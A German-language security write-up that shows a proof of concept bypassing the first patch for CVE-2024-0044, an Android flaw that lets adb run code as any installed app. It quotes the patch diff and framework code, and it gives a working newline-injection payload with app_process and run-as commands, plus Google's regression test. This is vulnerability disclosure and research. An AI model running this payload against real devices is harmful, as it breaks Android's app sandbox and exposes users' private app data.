
RunAsAnyone: PoC und Write-up zur Umgehung des ersten Patches von CVE-2024-0044, einer Android-run-as-Schwachstelle, die eine Rechteausweitung von adb auf installierte Apps ermöglicht
CVE-2024-0044/A-307532206 ist eine Schwachstelle mit hohem Schweregrad im Android-Framework, die es Angreifern mit ADB-Zugriff ermöglicht, beliebigen Code unter der UID einer beliebigen App auszuführen. Sie wurde ursprünglich von Tom Hebb vom Meta Red Team X gefunden. Im Internet finden sich viele Artikel zur Ausnutzung dieser Schwachstelle, wie dieser und dieser. Weitere Informationen finden Sie in diesem Blog: https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html
Der Patch für diese Schwachstelle ist im Android Security Bulletin vom März 2024 enthalten, aber jetzt habe ich einen Exploit entwickelt, der den Patch umgeht. Der neue Patch ist im Android Security Bulletin vom Oktober 2024 unter derselben CVE-ID CVE-2024-0044 enthalten. Android 12-13 Geräte mit einem Sicherheitspatch-Level vor dem 01.10.2024 sind für dieses Problem anfällig.
Dieses Repository enthält einen minimal reproduzierbaren PoC und eine Beschreibung.
Der Patch fügte eine Validierung für den Installer-Paketnamen hinzu, der an den PackageManagerService übergeben wird:
diff --git a/services/core/java/com/android/server/pm/PackageInstallerService.java b/services/core/java/com/android/server/pm/PackageInstallerService.java
index 2ca3e8f..02515cf 100644
--- a/services/core/java/com/android/server/pm/PackageInstallerService.java
+++ b/services/core/java/com/android/server/pm/PackageInstallerService.java
@@ -47,6 +47,7 @@
import android.content.pm.PackageManager;
import android.content.pm.ParceledListSlice;
import android.content.pm.VersionedPackage;
+import android.content.pm.parsing.ParsingPackageUtils;
import android.graphics.Bitmap;
import android.net.Uri;
import android.os.Binder;
@@ -601,17 +602,22 @@
// App package name and label length is restricted so that really long strings aren't
// written to disk.
- if (params.appPackageName != null
- && params.appPackageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+ if (params.appPackageName != null && !isValidPackageName(params.appPackageName)) {
params.appPackageName = null;
}
params.appLabel = TextUtils.trimToSize(params.appLabel,
PackageItemInfo.MAX_SAFE_LABEL_LENGTH);
- String requestedInstallerPackageName = (params.installerPackageName != null
- && params.installerPackageName.length() < SessionParams.MAX_PACKAGE_NAME_LENGTH)
- ? params.installerPackageName : installerPackageName;
+ // Validate installer package name.
+ if (params.installerPackageName != null && !isValidPackageName(
+ params.installerPackageName)) {
+ params.installerPackageName = null;
+ }
+
+ String requestedInstallerPackageName =
+ params.installerPackageName != null ? params.installerPackageName
+ : installerPackageName;
if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
params.installFlags |= PackageManager.INSTALL_FROM_ADB;
@@ -935,6 +941,19 @@
throw new IllegalStateException("Failed to allocate session ID");
}
+ private static boolean isValidPackageName(@NonNull String packageName) {
+ if (packageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+ return false;
+ }
+ // "android" is a valid package name
+ String errorMessage = ParsingPackageUtils.validateName(
+ packageName, /* requireSeparator= */ false, /* requireFilename */ true);
+ if (errorMessage != null) {
+ return false;
+ }
+ return true;
+ }
+
Man sieht, dass params.installerPackageName auf null zurückgesetzt wird, wenn es sich nicht um einen gültigen Android-Paketnamen handelt. In der nächsten Zeile kann requestedInstallerPackageName jedoch installerPackageName sein, wenn params.installerPackageName null oder ungültig ist.
Was ist installerPackageName?
Schauen wir uns die Methode createSessionInternal an, in die der Patch eingefügt wurde:
@Override
public int createSession(SessionParams params, String installerPackageName,
String callingAttributionTag, int userId) {
try {
return createSessionInternal(params, installerPackageName, callingAttributionTag,
userId);
} catch (IOException e) {
throw ExceptionUtils.wrap(e);
}
}
private int createSessionInternal(SessionParams params, String installerPackageName,
String installerAttributionTag, int userId)
throws IOException{
}
Man sieht, dass installerPackageName ein separates Argument ist, das nicht aus param stammt. Der ursprüngliche Patch validierte params.installerPackageName, vergaß aber, installerPackageName zu validieren.
Sie können einfach den ursprünglichen Exploit-Code aus Tom Hebbs Blog verwenden, um ihn zu reproduzieren. Dieses Repository enthält auch einen minimal reproduzierbaren PoC. Wenn Sie meinen PoC testen möchten, bauen Sie ihn einfach, schieben Sie die generierte APK nach /data/local/tmp/poc.apk und führen Sie den folgenden Code mit adb shell aus:
APK=/data/local/tmp/poc.apk
PAYLOAD="@null
victim <victim uid> 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
app_process -Djava.class.path=$APK /system/bin top.canyie.cve_2024_0044.PoC "$APK" "$PAYLOAD"
run-as victim
Ersetzen Sie <victim uid> durch die UID der Ziel-App.
Wenn Sie das Spiel noch einmal spielen möchten, führen Sie adb uninstall top.canyie.cve_2024_0044 aus und führen Sie den obigen Code erneut aus.
Das Problem scheint offensichtlich – wie konnte es allen entgehen?
Nun, Google hat einen Test für dieses Problem hinzugefügt, um sicherzustellen, dass es behoben ist:
// Set vulnerable 'appPackageName' and 'installerPackageName'
// for 'SessionParams' instance
final String vulnPackageName =
context.getPackageName() + "\n" + context.getPackageName();
final SessionParams params = new SessionParams(MODE_FULL_INSTALL);
params.setAppPackageName(vulnPackageName);
params.setInstallerPackageName(vulnPackageName);
final List<String> vulnerableFields = new ArrayList<String>();
runWithShellPermissionIdentity(
() -> {
// Create session using 'SessionParams' instance, get 'appPackageName' and
// 'installerPackageName' corresponding to session and abandon session later
final PackageInstaller packageInstaller =
context.getPackageManager().getPackageInstaller();
final int sessionId = packageInstaller.createSession(params);
final String vulnerableAppPackageName =
packageInstaller.getSessionInfo(sessionId).getAppPackageName();
final String vulnerableInstallerPackageName =
packageInstaller
.getSessionInfo(sessionId)
.getInstallerPackageName();
packageInstaller.abandonSession(sessionId);
// Without fix, 'appPackageName' and 'installerPackageName' does not undergo
// internal validation and are set to 'vulnPackageName' which contain '\n'
if (vulnerableAppPackageName != null
&& vulnerableAppPackageName.contains("\n")) {
vulnerableFields.add("'SessionParams.appPackageName'");
}
if (vulnerableInstallerPackageName != null
&& vulnerableInstallerPackageName.contains("\n")) {
vulnerableFields.add("'SessionParams.installerPackageName'");
}
});
String errorMessage =
"Device is vulnerable to b/307532206 !!"
+ " packages.list newline injection allows"
+ " run-as as any app from ADB"
+ " Due to : Fix is not present for ";
assertWithMessage(errorMessage.concat(String.join(" , ", vulnerableFields)))
.that(vulnerableFields)
.isEmpty();
Der Test verwendet die öffentliche Standard-PackageInstaller-API, die keine Anpassung von installerPackageName erlaubt. In der öffentlichen API wird installerPackageName immer auf den tatsächlichen Paketnamen des bereitgestellten Context gesetzt:
public int createSession(@NonNull SessionParams params) throws IOException {
try {
return mInstaller.createSession(params, mInstallerPackageName, mAttributionTag,
mUserId);
} catch (RuntimeException e) {
ExceptionUtils.maybeUnwrapIOException(e);
throw e;
} catch (RemoteException e) {
throw e.rethrowFromSystemServer();
}
}
Wenn der Aufrufer eine Drittanbieter-App ist, ist installerPackageName garantiert der des Aufrufers; wenn der Aufrufer ADB ist, wird es immer auf null zurückgesetzt, also scheint das in Ordnung:
String requestedInstallerPackageName =
params.installerPackageName != null ? params.installerPackageName
: installerPackageName;
if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
params.installFlags |= PackageManager.INSTALL_FROM_ADB;
// adb installs can override the installingPackageName, but not the
// initiatingPackageName
installerPackageName = null;
} else {
if (callingUid != Process.SYSTEM_UID) {
// The supplied installerPackageName must always belong to the calling app.
mAppOps.checkPackage(callingUid, installerPackageName);
}
// Only apps with INSTALL_PACKAGES are allowed to set an installer that is not the
// caller.
if (!TextUtils.equals(requestedInstallerPackageName, installerPackageName)) {
if (mContext.checkCallingOrSelfPermission(Manifest.permission.INSTALL_PACKAGES)
!= PackageManager.PERMISSION_GRANTED) {
mAppOps.checkPackage(callingUid, requestedInstallerPackageName);
}
}
}
Allerdings findet die Operation statt, nachdem requestedInstallerPackageName auf installerPackageName gesetzt wurde, sodass der ursprüngliche Wert erhalten bleibt.
Wenn sie jedoch anstatt ihres eigenen Tests den ursprünglichen PoC von Tom Hebb ausgeführt hätten, hätten sie das Problem bemerken können, da der pm-Befehl die zugrunde liegende createSession-Methode mit einem angepassten installerPackageName aufruft.
Noch eine Frage: Warum wurde das Problem nicht von anderen bemerkt, obwohl der PoC öffentlich zugänglich ist?
Nun, diese Schwachstelle wurde von vielen Leuten im Internet analysiert, reproduziert und ausgenutzt, und es gibt einen Artikel von Qidan He (flanker) vom JD Dawn Security Lab (das ist übrigens ein sehr interessanter Artikel über CVE-2024-31317), in dem steht: "其中CVE-2024-0044因简单直接,在技术社区已经有了广泛的分析和公开的exp" ("CVE-2024-0044 wurde in der technischen Community wegen seiner Einfachheit und Direktheit weitgehend analysiert und öffentlich ausgenutzt"), aber niemand bemerkte es, als ob alle unter einem Bann stünden.
Tatsächlich hat jemand den Exploit erfolgreich auf gepatchten Builds reproduziert, aber der Autor scheint nicht zu verstehen, was passiert ist. Ich fand es durch eine Code-Überprüfung und meldete es am 16. Mai 2024, zwei Monate nach Veröffentlichung des ursprünglichen Patches. Wenn jemand vor mir nur ein paar zusätzliche Sekunden damit verbracht hätte, den Patch genau anzusehen, oder einfach versucht hätte, den PoC auf gepatchten Builds auszuführen, um zu sehen, ob das Problem tatsächlich behoben ist, wäre die Bug-Bounty an ihn gegangen. Das klingt wie ein chinesischer Liedtext: „再多看一眼就会爆炸“ ("Noch ein Blick und es explodiert").